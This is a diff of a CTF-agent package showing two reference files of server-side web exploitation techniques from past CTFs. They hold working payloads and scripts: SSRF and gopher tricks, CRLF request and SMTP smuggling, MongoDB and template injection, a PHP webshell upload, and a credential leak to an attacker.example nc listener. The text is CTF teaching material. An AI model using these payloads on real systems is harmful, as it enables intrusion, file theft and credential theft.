ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
# CTF Web - Advanced Server-Side Techniques (Part 3)
|
|
2
|
+
|
|
3
|
+
CVE-era and 2018-era advanced server-side techniques (CSAW, 35C3, ASIS, PlaidCTF). For parts 1-2, see [server-side-advanced.md](server-side-advanced.md) and [server-side-advanced-2.md](server-side-advanced-2.md).
|
|
4
|
+
|
|
5
|
+
## Table of Contents
|
|
6
|
+
- [WAV Polyglot Upload Bypass via .wave Extension (PlaidCTF 2018)](#wav-polyglot-upload-bypass-via-wave-extension-plaidctf-2018)
|
|
7
|
+
- [Multi-Slash URL Parser `path.startswith` Bypass (CSAW 2018 Finals)](#multi-slash-url-parser-pathstartswith-bypass-csaw-2018-finals)
|
|
8
|
+
- [Xalan XSLT math:random() Seed Guess (35C3 2018)](#xalan-xslt-mathrandom-seed-guess-35c3-2018)
|
|
9
|
+
- [SoapClient _user_agent CRLF Method Smuggling (35C3 2018)](#soapclient-_user_agent-crlf-method-smuggling-35c3-2018)
|
|
10
|
+
- [`gopher://` No-Host URL Scheme Bypass (35C3 2018)](#gopher-no-host-url-scheme-bypass-35c3-2018)
|
|
11
|
+
- [SSRF Credential Leak via Attacker-Specified Outbound URL (ASIS Finals 2018)](#ssrf-credential-leak-via-attacker-specified-outbound-url-asis-finals-2018)
|
|
12
|
+
|
|
13
|
+
---
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## WAV Polyglot Upload Bypass via .wave Extension (PlaidCTF 2018)
|
|
18
|
+
|
|
19
|
+
**Pattern (idIoT: Action):** Site accepts `ogg/wav/wave/webm/mp3` uploads and validates by parsing the RIFF/WAVE header. CSP is `script-src 'self'`, so inline XSS fails, but a same-origin `<script src=...>` to an uploaded file would run. Browsers refuse to load responses whose Content-Type starts with `audio/`, yet Apache on many distros has no MIME mapping for the `.wave` extension and serves it as the default (usually `application/octet-stream` or with no `Content-Type`).
|
|
20
|
+
|
|
21
|
+
**Exploit build:**
|
|
22
|
+
1. Construct a file whose first bytes parse as a valid RIFF/WAVE container but whose `data` chunk contents open a JavaScript block comment and embed the payload.
|
|
23
|
+
2. Save with extension `.wave` (not `.wav`) so Apache does not label it as audio.
|
|
24
|
+
3. Inject `<script src="/uploads/evil.wave"></script>` via the existing XSS sink — the browser now executes the script from a same-origin URL, satisfying `script-src 'self'`.
|
|
25
|
+
|
|
26
|
+
```text
|
|
27
|
+
RIFF=1/*WAVEfmt ..........]................LIST....INFO
|
|
28
|
+
ISFT....Lavf57.83.100.data........................
|
|
29
|
+
........*/ ; alert(1);
|
|
30
|
+
```
|
|
31
|
+
Hex view (truncated): the first 4 bytes `52 49 46 46` still form `RIFF`; the quirky length field `3d 31 2f 2a` (`=1/*`) is valid for WAV parsers but also opens a JS comment that runs until the `*/ ;alert(1);` tail at the end of the `data` chunk.
|
|
32
|
+
|
|
33
|
+
**Key insight:** File-upload filters that only check magic bytes or MIME based on extension are defeated by any extension the web server has no explicit mapping for. Test each permitted extension against the server's MIME database (`mime.types`) — whichever one falls through to `application/octet-stream` becomes a script gadget under `script-src 'self'`. Fix by enforcing a strict response `Content-Type` for user uploads (e.g., `application/octet-stream` + `Content-Disposition: attachment`).
|
|
34
|
+
|
|
35
|
+
**References:** PlaidCTF 2018 — writeup 10018
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## Multi-Slash URL Parser `path.startswith` Bypass (CSAW 2018 Finals)
|
|
40
|
+
|
|
41
|
+
**Pattern:** Server code rejects URLs whose parsed path starts with `/flaginfo`, but most HTTP stacks resolve consecutive slashes equivalently. Adding one extra slash shifts the parsed path to `//flaginfo`, breaking `startswith("/flaginfo")` while still routing to the real endpoint.
|
|
42
|
+
|
|
43
|
+
```text
|
|
44
|
+
# Filtered
|
|
45
|
+
http://127.0.0.1:5000/flaginfo
|
|
46
|
+
# Allowed
|
|
47
|
+
http://127.0.0.1:5000///flaginfo
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Key insight:** Filters that check the parsed URL differ from the resolver that ultimately routes the request. Always test `///`, `/./`, `%2f`, and `http:/127.0.0.1` permutations when the filter is a string-comparison, not a structural match.
|
|
51
|
+
|
|
52
|
+
**References:** CSAW 2018 Finals — NekoCat, writeups 12130, 12144
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Xalan XSLT math:random() Seed Guess (35C3 2018)
|
|
57
|
+
|
|
58
|
+
**Pattern:** Xalan's `math:random()` extension uses C `srand(time(NULL))`. The challenge leaks 5 consecutive random values; brute-force 3 consecutive seeds (`t-1`, `t`, `t+1`) with libc `rand()` to find the one matching the leak, then predict the next value.
|
|
59
|
+
|
|
60
|
+
```c
|
|
61
|
+
for (long base = time(NULL) - 1; base <= time(NULL) + 1; base++) {
|
|
62
|
+
srand(base);
|
|
63
|
+
for (int j = 0; j < 5; j++) {
|
|
64
|
+
long long v = llround((double)rand() / RAND_MAX * 4294967296.0);
|
|
65
|
+
/* compare with leaked values */
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
**Key insight:** Any XSLT engine that exposes math extensions usually proxies straight to libc rand/srand; seeds are second-granularity time values and fall to a 3-value brute force.
|
|
71
|
+
|
|
72
|
+
**References:** 35C3 CTF 2018 — Juggle, writeup 12803
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
## SoapClient _user_agent CRLF Method Smuggling (35C3 2018)
|
|
77
|
+
|
|
78
|
+
**Pattern:** PHP's `SoapClient` lets user code set the `_user_agent` property. That string is interpolated into the HTTP request without CRLF filtering, so injecting `\r\n\r\n` followed by a full HTTP request smuggles a *second* request out of the same TCP connection — turning a POST-only primitive into a GET (or any other method) hitting a localhost-restricted admin endpoint.
|
|
79
|
+
|
|
80
|
+
```php
|
|
81
|
+
$c = new SoapClient(null, [
|
|
82
|
+
'location' => 'http://target/soap',
|
|
83
|
+
'uri' => 'x',
|
|
84
|
+
'user_agent' => "x\r\nX-Forwarded-For: 127.0.0.1\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
|
|
85
|
+
]);
|
|
86
|
+
$c->__soapCall('x', []);
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**Key insight:** Any serialization gadget that lets you set a "magic" HTTP header string in a deserialized object becomes an HTTP smuggler. `SoapClient->_user_agent` and `SoapClient->_cookies` are the typical PHP gadgets for this.
|
|
90
|
+
|
|
91
|
+
**References:** 35C3 CTF 2018 — post, writeup 12808
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## `gopher://` No-Host URL Scheme Bypass (35C3 2018)
|
|
96
|
+
|
|
97
|
+
**Pattern:** An allowlist validator only enforces the scheme check when the URL has a host (`parsed.scheme in ('http','https') if parsed.host`). `gopher:///host:port/data` leaves the host empty in some parsers, skipping the check entirely, so the request backend uses gopher to talk to any TCP service — MSSQL, Redis, SMTP.
|
|
98
|
+
|
|
99
|
+
```text
|
|
100
|
+
gopher:///127.0.0.1:1433/_<raw TDS bytes>
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
**Key insight:** Always test every URL scheme against the validator both with and without `//host` because parser/validator mismatches are asymmetric. `gopher:///x`, `file:///x`, and `jar:file:///x` are the common scheme bypasses.
|
|
104
|
+
|
|
105
|
+
**References:** 35C3 CTF 2018 — post, writeup 12808
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## SSRF Credential Leak via Attacker-Specified Outbound URL (ASIS Finals 2018)
|
|
110
|
+
|
|
111
|
+
**Pattern:** Server fetches resources from a user-controlled URL and attaches its own HTTP Basic credentials to the request. Point the URL at an attacker-controlled host; the inbound request arrives with `Authorization: Basic <base64(user:pass)>`.
|
|
112
|
+
|
|
113
|
+
```http
|
|
114
|
+
# Listener (attacker side)
|
|
115
|
+
nc -lvnp 80
|
|
116
|
+
|
|
117
|
+
# Victim sends:
|
|
118
|
+
GET / HTTP/1.1
|
|
119
|
+
Host: attacker.example
|
|
120
|
+
Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
**Key insight:** Any SSRF where the client library uses per-request credentials (`requests.auth`, `urllib3 auth_header`, Python `http.client` default credentials) leaks them if the attacker picks the target URL. Strip `Authorization` on redirects and never attach credentials by default.
|
|
124
|
+
|
|
125
|
+
**References:** ASIS CTF Finals 2018 — Gunshop 2, writeup 12420
|
|
@@ -0,0 +1,480 @@
|
|
|
1
|
+
# Server-Side Advanced Techniques (Part 4)
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [WeasyPrint SSRF & File Read (CVE-2024-28184, Nullcon 2026)](#weasyprint-ssrf--file-read-cve-2024-28184-nullcon-2026)
|
|
5
|
+
- [Variant 1: Blind SSRF via Attachment Oracle](#variant-1-blind-ssrf-via-attachment-oracle)
|
|
6
|
+
- [Variant 2: Local File Read via file:// Attachment](#variant-2-local-file-read-via-file-attachment)
|
|
7
|
+
- [MongoDB Regex Injection / $where Blind Oracle (Nullcon 2026)](#mongodb-regex-injection--where-blind-oracle-nullcon-2026)
|
|
8
|
+
- [Pongo2 / Go Template Injection via Path Traversal (Nullcon 2026)](#pongo2--go-template-injection-via-path-traversal-nullcon-2026)
|
|
9
|
+
- [ZIP Upload with PHP Webshell (Nullcon 2026)](#zip-upload-with-php-webshell-nullcon-2026)
|
|
10
|
+
- [basename() Bypass for Hidden Files (Nullcon 2026)](#basename-bypass-for-hidden-files-nullcon-2026)
|
|
11
|
+
- [wget CRLF Injection for SSRF-to-SMTP (SECCON 2017)](#wget-crlf-injection-for-ssrf-to-smtp-seccon-2017)
|
|
12
|
+
- [Gopher SSRF to MySQL Blind SQLi (34C3 CTF 2017, AceBear 2018)](#gopher-ssrf-to-mysql-blind-sqli-34c3-ctf-2017-acebear-2018)
|
|
13
|
+
- [React Server Components Flight Protocol RCE (Ehax 2026)](#react-server-components-flight-protocol-rce-ehax-2026)
|
|
14
|
+
- [Step 1 — Identify RSC via HTTP headers](#step-1--identify-rsc-via-http-headers)
|
|
15
|
+
- [Step 2 — Exploit Flight deserialization for RCE](#step-2--exploit-flight-deserialization-for-rce)
|
|
16
|
+
- [Step 3 — Exfiltrate data via NEXT_REDIRECT](#step-3--exfiltrate-data-via-next_redirect)
|
|
17
|
+
- [Step 4 — Bypass WAF keyword filters](#step-4--bypass-waf-keyword-filters)
|
|
18
|
+
- [Step 5 — Post-RCE enumeration](#step-5--post-rce-enumeration)
|
|
19
|
+
- [Step 6 — Lateral movement to internal services](#step-6--lateral-movement-to-internal-services)
|
|
20
|
+
- [AMQP/TLS Interception via sslsplit + arpspoof (TAMUctf 2019)](#amqptls-interception-via-sslsplit--arpspoof-tamuctf-2019)
|
|
21
|
+
- [CairoSVG XXE via Oversized width= (BSidesSF 2019)](#cairosvg-xxe-via-oversized-width-bsidessf-2019)
|
|
22
|
+
- [Bazaar (.bzr) Repository Reconstruction via bzr check Loop (STEM CTF 2019)](#bazaar-bzr-repository-reconstruction-via-bzr-check-loop-stem-ctf-2019)
|
|
23
|
+
|
|
24
|
+
See also: [server-side-advanced.md](server-side-advanced.md) for Part 1 (ExifTool DjVu, Go rune/byte, ZIP symlink, path traversal bypasses, Nginx alias, Unicode homoglyph, Ruby Regexp.escape, /dev/fd, Flask/Werkzeug debug, XXE DTD filter bypass, %2f bypass). See also: [server-side-advanced-2.md](server-side-advanced-2.md) for Part 2. See also: [server-side-advanced-3.md](server-side-advanced-3.md) for Part 3.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## WeasyPrint SSRF & File Read (CVE-2024-28184, Nullcon 2026)
|
|
29
|
+
|
|
30
|
+
**Pattern (Web 2 Doc 1/2):** App converts user-supplied URL to PDF using WeasyPrint. Attachment fetches bypass internal header checks and can read local files.
|
|
31
|
+
|
|
32
|
+
### Variant 1: Blind SSRF via Attachment Oracle
|
|
33
|
+
WeasyPrint `<a rel="attachment" href="...">` fetches the URL in a separate codepath without `X-Fetcher` or similar internal headers. If the target is localhost-only, the attachment fetch succeeds from localhost.
|
|
34
|
+
|
|
35
|
+
**Boolean oracle:** Embedded file appears in PDF only when target returns HTTP 200:
|
|
36
|
+
```python
|
|
37
|
+
# Check for embedded attachment in PDF
|
|
38
|
+
def has_attachment(pdf_bytes):
|
|
39
|
+
return b"/Type /EmbeddedFile" in pdf_bytes
|
|
40
|
+
|
|
41
|
+
# Blind extraction via charCodeAt oracle
|
|
42
|
+
for i in range(flag_len):
|
|
43
|
+
for ch in charset:
|
|
44
|
+
html = f'<a rel="attachment" href="http://127.0.0.1:5000/admin/flag?i={i}&c={ch}">A</a>'
|
|
45
|
+
pdf = convert_url_to_pdf(host_html(html))
|
|
46
|
+
if has_attachment(pdf):
|
|
47
|
+
flag += ch; break
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Variant 2: Local File Read via file:// Attachment
|
|
51
|
+
```html
|
|
52
|
+
<!-- Host this HTML, submit URL to converter -->
|
|
53
|
+
<link rel="attachment" href="file:///flag.txt">
|
|
54
|
+
```
|
|
55
|
+
**Extract:** `pdfdetach -save 1 -o flag.txt output.pdf`
|
|
56
|
+
|
|
57
|
+
**Key insight:** WeasyPrint processes `<link rel="attachment">` and `<a rel="attachment">` -- both can reference `file://` or internal URLs. The attachment is embedded in the PDF as a file stream.
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## MongoDB Regex Injection / $where Blind Oracle (Nullcon 2026)
|
|
62
|
+
|
|
63
|
+
**Pattern (CVE DB):** Search input interpolated into `/.../i` regex in MongoDB query. Break out of regex to inject arbitrary JS conditions.
|
|
64
|
+
|
|
65
|
+
**Injection payload:**
|
|
66
|
+
```text
|
|
67
|
+
a^/)||(<JS_CONDITION>)&&(/a^
|
|
68
|
+
```
|
|
69
|
+
This breaks the regex context and injects a boolean condition. Result count reveals truth value.
|
|
70
|
+
|
|
71
|
+
**Binary search extraction:**
|
|
72
|
+
```python
|
|
73
|
+
def oracle(condition):
|
|
74
|
+
# Inject into regex context
|
|
75
|
+
payload = f"a^/)||(({condition}))&&(/a^"
|
|
76
|
+
html = post_search(payload)
|
|
77
|
+
return parse_result_count(html) > 0
|
|
78
|
+
|
|
79
|
+
# Find flag length
|
|
80
|
+
lo, hi = 1, 256
|
|
81
|
+
while lo < hi:
|
|
82
|
+
mid = (lo + hi + 1) // 2
|
|
83
|
+
if oracle(f"this.product.length>{mid}"): lo = mid
|
|
84
|
+
else: hi = mid - 1
|
|
85
|
+
length = lo + 1
|
|
86
|
+
|
|
87
|
+
# Extract each character
|
|
88
|
+
for i in range(length):
|
|
89
|
+
l, h = 31, 126
|
|
90
|
+
while l < h:
|
|
91
|
+
m = (l + h + 1) // 2
|
|
92
|
+
if oracle(f"this.product.charCodeAt({i})>{m}"): l = m
|
|
93
|
+
else: h = m - 1
|
|
94
|
+
flag += chr(l + 1)
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
**Detection:** Unsanitized input in MongoDB `$regex` or `$where`. Test with `a/)||true&&(/a` vs `a/)||false&&(/a` -- different result counts confirm injection.
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## Pongo2 / Go Template Injection via Path Traversal (Nullcon 2026)
|
|
102
|
+
|
|
103
|
+
**Pattern (WordPress Static Site Generator):** Go app renders templates with Pongo2. Template parameter has path traversal allowing rendering of uploaded files.
|
|
104
|
+
|
|
105
|
+
**Attack chain:**
|
|
106
|
+
1. Upload file containing: `{% include "/flag.txt" %}`
|
|
107
|
+
2. Get upload ID from session cookie (base64 decode, extract hex ID)
|
|
108
|
+
3. Request render with traversal: `/generate?template=../uploads/<id>/pwn`
|
|
109
|
+
|
|
110
|
+
**Pongo2 SSTI payloads:**
|
|
111
|
+
```text
|
|
112
|
+
{% include "/etc/passwd" %}
|
|
113
|
+
{% include "/flag.txt" %}
|
|
114
|
+
{{ "test" | upper }}
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
**Detection:** Go web app with template rendering + file upload. Check for `pongo2`, `jet`, or standard `html/template` in source.
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## ZIP Upload with PHP Webshell (Nullcon 2026)
|
|
122
|
+
|
|
123
|
+
**Pattern (virus_analyzer):** App accepts ZIP uploads, extracts to web-accessible directory, serves extracted files.
|
|
124
|
+
|
|
125
|
+
**Exploit:**
|
|
126
|
+
```bash
|
|
127
|
+
# Create PHP webshell
|
|
128
|
+
echo '<?php echo file_get_contents("/flag.txt"); ?>' > shell.php
|
|
129
|
+
zip payload.zip shell.php
|
|
130
|
+
curl -F 'zipfile=@payload.zip' http://target/
|
|
131
|
+
# Access: http://target/uploads/<id>/shell.php
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
**Variants:**
|
|
135
|
+
- If `system()` blocked ("Cannot fork"), use `file_get_contents()` or `readfile()`
|
|
136
|
+
- If `.php` blocked, try `.phtml`, `.php5`, `.phar`, or upload `.htaccess` first
|
|
137
|
+
- Race condition: file may be deleted after extraction -- access immediately
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## basename() Bypass for Hidden Files (Nullcon 2026)
|
|
142
|
+
|
|
143
|
+
**Pattern (Flowt Theory 2):** App uses `basename()` to prevent path traversal in file viewer, but it only strips directory components. Hidden/dot files in the same directory are still accessible.
|
|
144
|
+
|
|
145
|
+
**Exploit:**
|
|
146
|
+
```bash
|
|
147
|
+
# basename() allows .lock, .htaccess, etc.
|
|
148
|
+
curl "http://target/?view_receipt=.lock"
|
|
149
|
+
# .lock reveals secret filename
|
|
150
|
+
curl "http://target/?view_receipt=secret_XXXXXXXX"
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
**Key insight:** `basename()` is NOT a security function -- it only extracts the filename component. It doesn't filter hidden files (`.foo`), backup files (`file~`), or any filename without directory separators.
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## wget CRLF Injection for SSRF-to-SMTP (SECCON 2017)
|
|
158
|
+
|
|
159
|
+
**Pattern:** wget versions before 1.17.1 (notably 1.14, common on CentOS 7) do not sanitize CRLF characters (`%0d%0a`) in the HTTP Host header. When an SSRF allows controlling the URL that wget fetches, CRLF injection into the hostname allows injecting arbitrary protocol commands. Targeting an internal SMTP server on port 25 enables sending arbitrary emails.
|
|
160
|
+
|
|
161
|
+
```text
|
|
162
|
+
# CRLF-injected URL targeting internal SMTP on port 25:
|
|
163
|
+
# Key: the port :25/ must come at the END to avoid "Bad port number" errors
|
|
164
|
+
http://127.0.0.1%0D%0AHELO%20x%0D%0AMAIL%20FROM%3A%3Cattacker%40x.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0Aabc%0D%0A.%0D%0A:25/
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
```python
|
|
168
|
+
import requests
|
|
169
|
+
import urllib.parse
|
|
170
|
+
|
|
171
|
+
# Build the CRLF-injected SMTP conversation
|
|
172
|
+
smtp_commands = "\r\n".join([
|
|
173
|
+
"HELO x",
|
|
174
|
+
"MAIL FROM:<attacker@x.com>",
|
|
175
|
+
"RCPT TO:<root>",
|
|
176
|
+
"DATA",
|
|
177
|
+
"Subject: give me flag",
|
|
178
|
+
"",
|
|
179
|
+
"Send me the flag please",
|
|
180
|
+
".",
|
|
181
|
+
])
|
|
182
|
+
|
|
183
|
+
# URL-encode the SMTP commands for injection into the hostname
|
|
184
|
+
encoded = urllib.parse.quote(smtp_commands, safe='')
|
|
185
|
+
|
|
186
|
+
# Port must be at the end to avoid wget "Bad port number" error
|
|
187
|
+
ssrf_url = f"http://127.0.0.1{encoded}:25/"
|
|
188
|
+
|
|
189
|
+
# Trigger the SSRF
|
|
190
|
+
requests.post("http://target/fetch", data={"url": ssrf_url})
|
|
191
|
+
# wget connects to 127.0.0.1:25 and sends the SMTP commands as part of the HTTP request
|
|
192
|
+
# The SMTP server processes the injected commands and delivers the email
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
**Key insight:** wget before 1.17.1 did not sanitize CRLF in the Host header. When SSRF reaches an internal SMTP service, CRLF injection enables sending arbitrary emails. Place the port at the END of the injected string to avoid "Bad port number" errors. This technique extends to any line-based protocol accessible via SSRF (FTP, Redis, memcached). See also [server-side.md](server-side.md#ssrf) for other SSRF techniques.
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Gopher SSRF to MySQL Blind SQLi (34C3 CTF 2017, AceBear 2018)
|
|
200
|
+
|
|
201
|
+
**Pattern:** When SSRF allows the `gopher://` protocol, craft raw MySQL protocol packets to communicate with a local MySQL instance that uses passwordless authentication (common in CTF setups). Combine with time-based blind SQLi via `SLEEP()` to extract data.
|
|
202
|
+
|
|
203
|
+
```python
|
|
204
|
+
import urllib.parse
|
|
205
|
+
import requests
|
|
206
|
+
import time
|
|
207
|
+
|
|
208
|
+
# Step 1: Capture a real MySQL session with tcpdump
|
|
209
|
+
# tcpdump -i lo port 3306 -w mysql.pcap
|
|
210
|
+
# Connect to MySQL normally: mysql -u root
|
|
211
|
+
# Execute a simple query, then disconnect
|
|
212
|
+
# Extract the client auth packet and query packet bytes from the pcap
|
|
213
|
+
|
|
214
|
+
# Step 2: Build the gopher payload
|
|
215
|
+
# MySQL auth packet (handshake response) - extract from pcap
|
|
216
|
+
auth_packet = bytearray([
|
|
217
|
+
0x48, 0x00, 0x00, 0x01, # packet length + sequence
|
|
218
|
+
